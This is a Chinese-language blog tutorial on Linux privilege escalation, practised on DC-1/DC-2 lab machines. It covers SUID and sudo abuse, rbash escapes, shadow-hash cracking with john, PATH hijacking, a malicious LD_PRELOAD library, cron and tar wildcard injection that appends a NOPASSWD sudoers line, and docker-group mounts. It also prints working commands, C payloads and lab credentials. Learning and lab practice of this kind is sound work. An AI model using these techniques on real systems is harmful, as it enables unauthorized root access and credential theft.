linux提权——知识总结

2025-06-07 18:07:30

简介本文总结了linux提权的常用方法,其中具体的被用于提权的工具如perl,python,git,man等,它们其实你在理解了suid和sudo提权后,都能够明白怎么在这两种方法转换,所以就没反复重写了。

注意:本文所讨论技术,均限学习使用,请勿用于违法行为。

suid提权

SUID(Set User ID)是一种特殊权限位 , 普通用户运行该文件时时,会以该文件“所属用户”的身份来执行程序,suid只能赋予2进制文件

chmod u-s /bin/mount 给mount文件取消suid

chmod u+s /bin/mount 给mount文件设置suid

那如果有个程序,被赋予了suid,它的属主还是root,等同于我即使是普通用户aaa但运行这个程序还是以root权限,那就产生了提权。

查找设置了suid的文件

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -u=s -type f 2>/dev/null

find / -user root -perm -u=s -type f 2>/dev/null -exec ls -ldb {} \;

find / -user root -perm -u=s -type f 2>/dev/null -exec ls -ldb {} +

可以给目录设置suid,但没有用就是了

-perm -u=s 表示匹配用户权限中至少有s位,如果是-perm u=s则表示匹配用户权限中只有s位(这就比较奇葩)

-user root 表示文件属主为root(只有是属主为root,你利用才是root权限,不然就是其他属主的权限)

-type f 表示匹配文件类型的,不加可以,但会匹配到带suid的目录(但注意带suid的目录下的文件并不会有suid的特性)

2>/dev/null 表示把find命令没权限访问的目录报错信息定位到null,也就不输出报错信息了

-exec 表示对前面找到的文件,执行的命令 {}就是被找到的文件的占位符

\; 这里的\其实是为了转义; 有些系统其实支持用 + 代替 \; 但有些不支持

比如dc1靶机的环境

账号 flag4

密码 orange

查看该文件的所有者,发现是文件的拥有者是root,

ls -l /usr/bin/find

-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find

│└─► 3~10位:权限信息(r=读,w=写,x=执行,s=SUID)

└──► 第1位:文件类型(- 表示普通文件)

所有者(user)的权限 所属组(group)的权限 其他用户(others)的权限

2. 硬链接数(1)表示有 1 个硬链接指向这个文件(一般对普通文件来说就是 1)。

3. 所有者(root) 文件的属主,即该文件属于哪个用户。

4. 所属组(root)文件的属组,即该文件属于哪个用户组。

5. 文件大小(162424)文件的大小,以字节为单位(这里是约 158 KB)。

6. 修改时间(Jan 6 2012)文件的最后修改日期。

7. 文件路径(/usr/bin/find)文件的完整路径。

find命令提权

find / -exec /bin/bash \;但这个提权方法会导致你退出一个shell还会找到新文件又执行个shell,等同于你退不出来(你可以直接找个唯一的文件名)

这里你可能奇怪为什么whoami是flag4

这就是suid的主动降权,我们晚点讲,先尝试成功提权

suid提权——主动降权

虽然root属主且设置了suid会以root运行

但很多shell,即使设置了suid,它为了安全,会主动降权运行

比如

/bin/bash

/bin/sh

/bin/dash

zsh

ash

ksh

fish

但不用担心,使用-p参数可以开启特权模式。在此模式下,shell不会放弃特权。继承上级权限

/bin/dash -p

后面还会有对应的演示。

rbash绕过rbash即restricted bash,普通用户有自己的bash,管理员可以指定普通用户的bash为rbash,在rbash中就会有很多命令和行为不能用了。

rbash的本质是一种弱沙盒

禁止使用 cd 命令(即不能主动切换目录)

限制修改 $PATH 等环境变量

限制使用重定向(比如 >, >>, <)

限制运行的工具或脚本带有绝对路径或包含斜杠(如 ./script.sh、/bin/ls),即所用的命令不带/

这里如果ls命令被cp到了$HOME下,ls /var/www 还是可以的,但 /home/aaa/bin/ls /var/www是不行的

绕过rbash本身不算提权,即使绕过了rbash,绕过后身份依旧是当前用户身份

相关操作命令(搭建环境的方法)

sudo adduser aaa 创建个用户

sudo ln -s /bin/bash /bin/rbash # 如果还没有做过

sudo usermod -s /bin/rbash aaa 创建用户后,将其默认 shell 更改为 rbash

(或者sudo chsh -s /bin/rbash aaa 都是更改用户shell的 usermod是系统级工具,chsh短小好记)

sudo mkdir /home/aaa/bin 在用户目录下创建个bin目录

拷贝允许使用的命令进去(例如 ls, cat, echo)

sudo cp /bin/ls /home/aaa/bin/

将用户的 $HOME/bin 目录设为唯一的命令执行路径,修改概述文件,最后位置覆盖PATH变量

sudo nano /home/aaa/.profile

尾巴添加

PATH="$HOME/bin"

export PATH

写入,enter退出

su - aaa 切换用户去测试下

echo 是 bash 的内建命令(builtin),不依赖外部文件;

即使 PATH 中没有 echo 的可执行文件,bash 内建命令仍然可用;

所以你在 rbash 下仍能正常使用

sudo 是一个外部可执行文件,通常位于 /usr/bin/sudo;

sudo文件的位置

which sudo

/usr/bin/sudo

cp /usr/bin/sudo /home/aaa/bin 后需要配置suid

你也可以下载个靶机dc2靶机 Username: tom, Password: parturient

第一步查询当前$PATH

echo $PATH

检查有哪些文件能用,看看文件拥有者

ls -al $PATH/

现在可以试试vi提权

vi

vi有自己的命令模式 :就是命令模式的前缀

:shell 进入一个shell页面

:!<你想要执行的命令,比如whoami> 注意这里的环境变量PATH是按当前环境的,故改为/usr/bin/whoami, 但此时还是不行, 因为当前vi的shell默认是 运行它的shell,也就是 rbash

:set shell=/bin/bash 将当前vi运行的shell设置为/bin/bash 这是 vi 的内部设置

:shell 这时在进入,但此时的环境变量还是没变的

export PATH=/usr/bin

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin/

export PATH=$PATH:/bin:/usr/bin

find / -name aaa 2>/dev/null -exec /usr/bin/bash \;

find / -name aaa 2>/dev/null -exec /bin/sh \;

提升交互性

python -c "import pty;pty.spawn('/bin/sh')"

python3 -c "import pty;pty.spawn('/bin/sh')"

如果没提升交互感,说明当前的PATH下没有python或python3

PY=$(which python3); $PY -c "import pty; pty.spawn('/bin/sh')"

$(which python3) -c "import pty; pty.spawn('/bin/sh')"

ed绕过

ed

!'/bin/sh'

sh,bash,dash绕过 如果有这些工具的话

python,perl绕过

python3 -c 'import os; os.system("/bin/sh");'

perl -e 'system("/bin/sh");'

awk绕过

awk 'BEGIN {system("/bin/sh")}'

more绕过 less man

more .bashrc 需要当前目录下有文件可读,家目录下都有.bashrc 文件要够长能分页,或者把shell变短

!'sh'

ssh绕过

ssh user@host /bin/bash 通过SSH登录到远程机器host 然后在远程机器上执行 /bin/bash

没有/bin/bash 默认进入交互shell 不用-t

ssh -t localhost /bin/bash -t强制分配伪终端(即使是远程命令)

ssh aaa@localhost -t "bash --noprofile" bash --noprofile:启动一个新的 Bash shell,但不加载 /etc/profile 和 ~/.bash_profile 等初始化文件。也有说不读bashrc

不加t

加t

技术细节:rbash 限制是怎么触发的?bash会根据 启动时的文件名来判断是否启用受限模式:

如果启动文件名是rbash或带-r,就启用受限模式所以即使你运行的是/bin/bash,但你用的是/bin/rbash链接名,bash 也会切换到受限模式

这就是所谓的 "invocation name matters"(调用名决定行为)

sudo提权sudo是以root权限去运行一个命令

sudo只需要知道当前账号的密码,而su需要知道被切换账号的密码

(注意:可能是因为sudo是设置了suid的原因, sudo会用 root 的$PATH和 root 的权限执行)

当调用sudo时,系统就会先查看 /etc/sudoers 配置文件

/etc/sudoers 配置文件 主要有两行比较重要

# User privilege specification (这个是配置单个用户的)

root ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command (这个是配置一个用户组的)

%sudo ALL=(ALL:ALL) ALL

= ()

alice ALL=(ALL:ALL) ALL

alice:指定用户(也可以是 %group)

tab键

ALL:适用于所有主机(多用于集中管理)

(ALL:ALL):可切换为任何用户和用户组(第一个 ALL 是 runas user,第二个是 group)

空格

ALL:可以运行任何命令 tag:ALL 标签,执行命令路径 nopasswd不需要输入密码

aaa ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi

visudo是专门编辑sudoers的命令工具,它和vi的区别是在关闭保存sudoers会检查语法格式

dc2靶机

| Username: jerry, Password: adipiscing | Username: tom, Password: parturient

sudo -l 就是查看当前用户对应的sudo配置策略

(root) NOPASSWD: /usr/bin/git

jerry的sudo权限中 可以无密码(jerry自己的密码) 以 root 运行 /usr/bin/git

(root) /usr/bin/git

git提权第一种

sudo git help config

回车然后输入(其实不用回车)

!/bin/bash (这里bash也可以换成sh)

第二种(注意teminal最好短点,不然一页就显示完了)

sudo git -p help

回车输入(其实不用回车)

!/bin/bash (这里bash也可以换成sh)

perl提权

perl -e 'exec "/bin/bash";'

python3提权python3 -c 'import pty;pty.spawn("/bin/bash")'

less提权less <任意文件文件>

!/etc/bash

man提权man提供某个命令、系统调用、配置文件等的详细文档, 命令的作用 , 语法(用法) , 参数说明等

查看某个命令的手册页 , 会显示关于ls命令的说明

man ls

提权!/bin/bash!代表执行后面的命令

env提权env用于查看、修改或在特定环境变量下运行命令

查看当前环境变量

env

提权方法

sudo env /bin/bash

ftp提权sudo ftp

ftp> !/bin/bash

socat提权

通过socat客户端连接攻击机,这里不演示了

scp提权

scp(secure copy)是一个基于 SSH 的命令行工具,用来在 本地和远程机器之间复制文件

scp是个安全复制文件的命令,不能直接获得shell,但可以用它把敏感文件/etc/passwd或者/etc/shadow等,复制到其他ip的主机,或者一个可访问的目录,然后密码破解。

这里就仅演示下怎么利用shadow文件去密码爆破

提取其中带密码的一行(这里就别选$y$,这是 yescrypt 哈希,john社区版不支持)

kss:$6$u67cThe4dbqM9ZB5$BJptnHf2VaVBAVF/j5IXyMQnCs6N0vHmmndAnK8abvZN5cUaMzUPBiVCajQL9mQRewYeCDxX1surugKJL8imR.:20153:0:99999:7:::提取其中hash部分

$6$u67cThe4dbqM9ZB5$BJptnHf2VaVBAVF/j5IXyMQnCs6N0vHmmndAnK8abvZN5cUaMzUPBiVCajQL9mQRewYeCDxX1surugKJL8imR.

将它保存到一个.txt文件(你保存整串也行,john也能识别)

注意千万别有多余的换行

使用john爆破下

john clean.txt

nano类似工具的妙用nano如果是setuid或者可以sudo

它能复制shadow文件,然后爆破

nano -p /etc/shadow-p:nano 的选项,表示 保留文件权限(尝试以原始权限打开文件)。

你也可以拿来修改sudoers文件,

这里最有意思的是你可以修改/etc/passwd文件把uid和gid改为0,这样直接让普通用户变root

(这里bash路径忘改了)

sudoers添加脚本sudoers不单单可以添加工具,还可以添加个脚本

比如a.sh

#!/bin/bash

/bin/bash

创建时记得给权限

那么运行它时可以用

sudo /tmp/a.sh

sudoers配置黑名单,以及绕过

允许其他所有,但禁止使用find命令

aaa ALL=(ALL:ALL) ALL,!/usr/bin/find

它禁用/usr/bin/find

那我复制到其他目录不就可以了

cp /usr/bin/find . 复制到当前目录下然后sudo复制的find

sudo ./find

NFS配置不当配合suid提权2049 nfs端口

111 rpc端口

NFS 是 Network File System(网络文件系统)

工作机制:

服务器端(NFS Server):导出(export)某个目录作为共享资源。

客户端(NFS Client):使用mount命令将远程目录挂载到本地目录。

通信协议:使用 RPC(Remote Procedure Call)机制进行通信,端口通常为 2049。

举个例子(Linux 下):

服务端(192.168.1.100)配置:

# /etc/exports

/home/share 192.168.1.0/24(rw,sync,no_root_squash)(rw,sync,no_root_squash)是常见的问题写法

rw 表示客户端读写权限,

no_root_squash 如果客户端是 root用户访问共享目录,那它在服务器上也会被当作真正的 root,拥有完整的读写权限。 (真正的危险所在)

sync表示每次客户端对文件进行写操作时,NFS 服务器都会立即将数据写入磁盘。你不加sync,如(rw,no_root_squash)也是默认sync

客户端(一般为攻击机kali)挂载:

sudo mount 192.168.1.100:/home/share /mnt/nfs

我的kali是肯定能用root的,然后我在被攻击机上写一个/bin/bash,并赋予suid权限,这如果你在被攻击机上用普通账户,能访问到我写的目录,那不就提权了吗?(注意使用bash时加个 -p)

理论上vi那些你常用的提权工具都行

PATH提权( PATH 劫持 )

假设受害者电脑上有那么个程序whoamipriv设置了suid,这个程序运行后会调用whoami

这时你修改PATH变量,比如export PATH=/tmp:$PATH

然后在/tmp下放个你写个恶意程序叫whoami,那么运行whoamipriv时就会先调用你的程序,从而提权。

不过我感觉这个对目标程序的条件还是比较苛刻的。

环境搭建

未编译的c代码

#include

void main()

{

setuid(0);

setgid(0);

system("whoami");

}

这里为什么有setuid(0);setgid(0);

一个设置了 SUID 的程序,如果它用system()来执行别的程序(不管是脚本还是 ELF 可执行文件),这些“被调用的程序”通常不会继承 SUID 权限。加上才能用,所以条件也苛刻的。

system("whoami") 实际做了什么

等价于

execl("/bin/sh", "sh", "-c", "whoami", NULL);也就是说,它是调用/bin/sh来解释执行字符串"whoami"。

你设置了PATH=/tmp:$PATH,所以它找到了/tmp/whoami然而,执行的是/bin/sh→whoami/bin/sh 本身没有 SUID,所以执行环境是以普通用户身份运行的所以/tmp/whoami是被“普通用户权限”的sh执行的,SUID 权限不会传递

编译那个c代码(如果你要自己搭建环境的话)

gcc whoami.c -o whoamipriv注意这里你要用root去编译,因为后面要结合suid

设置777

复制文件

设置suid

chmod 777 whoamipriv

cp whoamipriv /home/bbb

chmod u+s /home/bbb/whoamipriv

用bbb登入,运行下whoamipriv

在tmp目录(因为这个文件我们都有写权限)下生成个叫做whoami的文件

echo "/bin/bash" > /tmp/whoami

chmod 777 /tmp/whoami //很容易忘掉

其实这一步你换为

cp /bin/sh /tmp/whoami

或者

符号链接

sudo ls -s /bin/sh whoami

export PATH=.:$PATH

改变下PATH,让它第一环境目录为/tmp

export PATH=/tmp:$PATH //如果报错就加个""

现在运行

sudo可以吗?当bbb用sudo运行一个程序,程序中的system("whoami")会使用root 的 PATH 环境变量,不是 bbb 的 PATH。

但是,sudo -E xxxxxx

加-E可以保留环境变量,但前提是 sudo 配置文件(/etc/sudoers)中允许保留环境变量

Defaults env_keep += "PATH"

LD_PRELOAD提权

LD_PRELOAD 是 Linux 下一个环境变量, 用来 在程序运行前预先加载你指定的动态链接库(.so 文件)。

当你执行:

LD_PRELOAD=./ddd.so ./whoa你是通过环境变量告诉动态链接器(ld-linux.so):

“在加载程序的正常依赖库之前,强制优先加载这个库 ddd.so。”

但有两个禁忌

LD_PRELOAD的.so文件,对于setuid的程序,不以root运行,而且出于安全,LD_PRELOAD 默认是无效的,.so 文件不会被加载。

仅适用于使用动态链接(glibc)的 ELF 程序(只要是动态的,不管你调不调恶意库,都会运行),如果目标程序是静态编译的,LD_PRELOAD 无效。

现在,假设你在用户bbb下sudo LD_PRELOAD=./ddd.so <任意sudoers运行你的工具>

那./ddd.so就按root运行了,这就是提权原理

现在我们来制作这么个恶意.so

叫做soshell.so

先写个c语言sotest.c

#include

#include

#include

void _init(){

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/sh");

}

给它编译下

gcc sotest.c -fPIC -shared -o soshell.so -nostartfiles-fPIC 生成位置无关代码(Position Independent Code),这是创建.so所必需的

-shared 告诉编译器生成共享库(而不是可执行文件) 共享对象(.so)文件

-o 输出的共享库文件名,一般以lib开头 (我这就不遵循了)

-nostartfiles 运行我们的库时,不会加上启动用的crt文件 , 只生成你写的函数,没有main()、_start()那套启动流程 , 精简.so文件体积 、避免干扰 , 让编译器只保留你写的函数逻辑,不加任何系统启动流程。

用bbb去wget下(这具体是模拟你怎么把.so搞到,bbb的可控目录下,你用bbb的gcc也可以如果有的话)

这里要改权限

chmod 777 soshell.so

sudo在运行时,用的是root的PATH,而且还会为了安全,清除某些敏感环境变量(就是当前账号传递的而不是root的) ,LD_PRELOAD 就是其中之一 。

sudo LD_PRELOAD=./soshell.so ls

所以visudo配置下sudoers(这利用条件确实还是苛刻)

Defaults env_keep += LD_PRELOAD保留这个变量

sudo -l测试

很明显ls是动态库

提权(顺序别错了)

sudo LD_PRELOAD=./soshell.so ls

Cron提权

情景

你能改/etc/crontab中计划定时运行的目标脚本

假设/etc/crontab中定时计划每隔一分钟运行thinksafe.sh

*/3 * * * * root /tmp/thinksafe.sh

每隔3个第一字段的单位,也就是每隔3分钟

17 * * * * root cd / && run-parts --report /etc/cron.hourly

每小时的第 17 分钟

现在我们可以修改thicksafe.sh

这我们把它改为

#!/bin/bash

chmod u+s /bin/dash

如果你自己搭环境记得

chmod 777 /tmp/thinksafe.sh

当前是没设置suid的

等个一分钟

切换bbb用户运行提权先试试不用-p,再用-p

/bin/dash -p

通配符结合tar定时任务提权

许多linux系统的管理员为了确保电脑的容灾能力,一般会设计个定时备份某个目录的任务

对应的配置是

这个任务的执行脚本大概是

#!/bin/bash

cd /target

tar cf /var/backups/tbackup.tar *(搭环境时记得chmod)

这个*号通配符,匹配的是/target/目录下的所有文件名

假设我们的低权限账号对这个目录有创建文件的权限

这就有一个很有意思的地方

假如/target/目录下有几个文件的名字是 tar的参数呢?

我们先学习tar的一些参数

tar cf /var/backups/tbackup.tar aa bb cc --checkpoint=1 --checkpoint-action=exec=./tarsh.shc 创建一个新的归档(create)。

f 指定归档文件的文件名,需紧跟文件名。

--checkpoint=3 表示每打包3个文件,就触发一次 checkpoint

--checkpoint-action=exec= 每次checkpoint执行的命令

这里可以把./tarsh.sh换成任何我们想执行的命令,我这里就写个脚本

#!/bin/bash

chmod u+s /bin/dashecho "aaa ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

记得给tarsh.sh用chmod给权限

现在我们在目录下创建两个文件,文件名为 tar的参数

echo "" > --checkpoint=1

echo "" > "--checkpoint-action=exec=sh tarsh.sh"

你可能想问为什么不是echo "" > "--checkpoint-action=exec=./tarsh.sh"

因为/不能作为文件名啊如果要删除的话rm -- '--checkpoint=1'

补上之前的tarsh.sh

先把/bin/dash的suid权限改回来

chmod u-s /bin/dash

对了,自己搭环境记得给tarsh.sh和backup.sh搞下chmod

提权成功

利用docker提权( Docker 容器逃逸 )

这个其实我看文档有那么复杂的,但我们就学个最简单的

在linux中有个用户组叫docker组

如果一个账号在docker组中,部分默认情况下就能提权

先创建个账号ddd

useradd ddd

我们先添加个ddd到docker组

usermod -aG docker ddd

现在直接用ddd账号执行这条命令

docker run -v /etc:/mnt -it alpine

alpine镜像(一个极简 Linux 发行版,才几m) ,第一次可能会自动下载这个镜像

-v /etc:/mnt 把宿主机的 /etc 目录挂载到容器内的 /mnt 路径下(volume 映射)

-it 以交互模式运行容器(-i保持标准输入打开,-t分配一个伪终端)

docker run 启动一个新的 Docker 容器

这样不就能读取到shadow文件,进而爆破提权吗?(这只是一种思路)

或者给它来个suid提权

find提权find / -name target -exec /bin/bash -p \;

内核提权信息收集

uname -a # 查看内核版本

cat /proc/version # 查看内核版本信息

cat /etc/issue # 查看发行版

id # 当前用户权限

概念区分要清晰这里我觉得我有必要细讲点区别,这是很多初学者都搞混的

首先uname -a会出来一堆数据,但实际上重要的就几个

uname -a

Linux kss-VMware-Virtual-Platform 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux其中我们主要看的是

6.11.0-25-generic #25~24.04.1-Ubuntu这里6.11.0-25-generic代表的是与linux内核有关的信息

#25~24.04.1-Ubuntu代表的是与ubuntu系统有关的东西

ubuntu是个系统,基于linux内核开发的

很多人说内核提权,信息收集了个ubuntu24就结束了,结果你连内核版本号是什么都不知道。(当然你直接用ubuntu24.04.1并没错,而且很多时候就是用ubuntu24.04.1,但你概念要清晰。)

6.11.0-25-generic

6.11.0 Linux 内核的主版本号(主线内核 6.11)

-25 Ubuntu针对该内核的 第 25 次打包/构建版本

-generic 使用的是 Ubuntu 的“通用”内核配置(适用于大多数桌面/服务器用户)

#25~24.04.1-Ubuntu

Ubuntu 对 Linux 内核版本 6.11.0 做了第 25 次构建/打包,这个构建是面向 Ubuntu 24.04.1 系统发布的。

至于其他的

Linux kss-VMware-Virtual-Platform 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

x86_64 x86_64 x86_64

内核是64位架构编译的

你当前的硬件是64位架构

运行的操作系统也是64位架构

然后你就去搜具体的cve或者对应的提权脚本

Dirty Cow CVE-2016-5195 < 4.8.3

OverlayFS CVE-2015-1328 Ubuntu 内核 < 3.19

PTRACE漏洞 CVE-2013-2094 Debian/Ubuntu 等

UDEV漏洞 CVE-2009-1185 多版本旧内核

Dirty Pipe CVE-2022-0847 Linux 5.8 ~ 5.16.11 msf像msf的post/multi/recon/local_exploit_suggester模块也可以帮你查提权

我之前文章写过

这个就不细讲了。

结语这篇文章是真的肝啊,晚上抽空写的,来来回回写了可能有1周了吧。希望对各位有用,花花。